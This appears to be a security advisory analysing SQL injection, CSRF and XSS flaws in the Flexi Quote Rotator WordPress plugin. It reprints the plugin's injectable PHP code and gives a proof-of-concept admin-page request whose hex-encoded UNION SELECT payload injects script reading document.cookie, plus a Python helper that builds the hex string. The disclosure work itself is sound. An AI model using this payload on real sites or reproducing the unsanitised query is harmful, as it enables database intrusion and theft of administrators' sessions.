Advisory
Secunia Advisory SA 49910
Analysis
The admin interface of the Flexi Quote Rotator plugin for WordPress implements a way for editing a quote through the displayManagementPage function in /classes/quote-rotator-management.class.php.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
function displayManagementPage() { global $wpdb; echo "\t\t<div class=\"wrap\">\n"; if( $_GET['action']=='edit' ) { $sql = "SELECT * FROM `" . $this->tableName . "` WHERE `id` = " . $_GET['id']; $results = $wpdb->get_results($sql); $r = $results[0]; echo "\\t\\t\\t<h2>Edit Quote</h2>\\n"; echo "\\t\\t\\t<form name=\"EditQuotesForm\" method=\"post\" action=\"?page=flexi-quote-rotator.php\">\\n"; echo "\\t\\t\\t\\t<p class=\"submit\">\n"; echo "\\t\\t\\t\\t\\t<input type=\"submit\" name=\"submit\" value=\"Update Quote »\" />\\n"; echo "\\t\\t\\t\\t</p>\n"; echo "\\t\\t\\t\\t<table class=\"editform\" width=\"100%\" cellspacing=\"2\" cellpadding=\"5\">\\n"; echo "\\t\\t\\t\\t\\t<tr>\n"; echo "\\t\\t\\t\\t\\t\\t<th width=\"33%\" scope=\"row\" valign=\"top\"><label for=\"quote\">Quote:</label></th>\\n"; echo "\\t\\t\\t\\t\\t\\t<td width=\"67%\"><textarea name=\"quote\" style=\"width:350px;height:200px;\"/>".stripslashes($r->quote)."</textarea></td>\\n"; echo "\\t\\t\\t\\t\\t</tr>\\n"; echo "\\t\\t\\t\\t\\t<tr>\\n"; echo "\\t\\t\\t\\t\\t\\t<th width=\"33%\" scope=\"row\" valign=\"top\"><label for=\"author\">Author:</label></th>\\n"; echo "\\t\\t\\t\\t\\t\\t<td width=\"67%\"><input type=\"text\" name=\"author\" style=\"width:350px;\" value=\"".stripslashes($r->author)."\"/></td>\\n"; echo "\\t\\t\\t\\t\\t</tr>\\n"; echo "\\t\\t\\t\\t</table>\n"; echo "\\t\\t\\t\\t<input type=\"hidden\" name=\"editQuote\" value=\"1\" />\\n"; echo "\\t\\t\\t\\t<input type=\"hidden\" name=\"id\" value=\"".$r->id."\" />\\n"; echo "\\t\\t\\t\\t<p class=\"submit\">\\n"; echo "\\t\\t\\t\\t\\t<input type=\"submit\" name=\"submit\" value=\"Update Quote »\" />\\n"; echo "\\t\\t\\t\\t</p>\\n"; echo "\\t\\t\\t</form>\\n"; } |
It does so by checking the action GET parameter first. If it is “edit”, it will then concatenate the “id” GET parameter into a SQL query, and write the result out to the page. But because it does not correctly sanitize the “id” GET parameter, which causes a SQL injection. Also, this piece of code can be invoked without a nonce, which causes a CSRF vulnerability. Additionally, while it output-encodes the author and quote column, it does not encode the ID. This means we have two options for exploiting these 3 vulnerabilities:
- Chaining the SQL Injection and the XSS in order to execute javascript in the admins browser
- Chaining the SQL Injection and the CSRF in order to execute arbitrary SQL blindly
Here is an example of the former, where we trick the admin user into clicking on our specially crafted URL:
1 2 3 |
GET /wordpress/wp-admin/tools.php?page=flexi-quote-rotator.php&action=edit&;id=3533 UNION SELECT 0x3122202f3e203c7363726970743e616c65727428646f63756d656e742e636f6f6b6965293c2f7363726970743e3c696e70757420747970653d2268696464656e22206e616d653d226964222076616c75653d2231, 2, 3 HTTP/1.1 Host: 192.168.80.130 Cookie: wordpress_f3e14e7fde6969eb515c450fed50d259=admin%7C1342212499%7C2b307f49c397cbf2b578cc5df0902004; wordpress_logged_in_f3e14e7fde6969eb515c450fed50d259=admin%7C1342212499%7C8aec90b501bbc30db946f8f6bef9b9d8; |
The hex value that we use in order to bypass the magic quotes which WordPress enforces was generated this way:
1 2 3 4 5 6 7 |
def ToHexString(input): hexString = "0x" for s in input: hexString += hex(ord(s))[2:] return hexString print ToHexString("1\" /> <script>alert(document.cookie)</script><input type=\"hidden\" name=\"id2\" value=\"1") |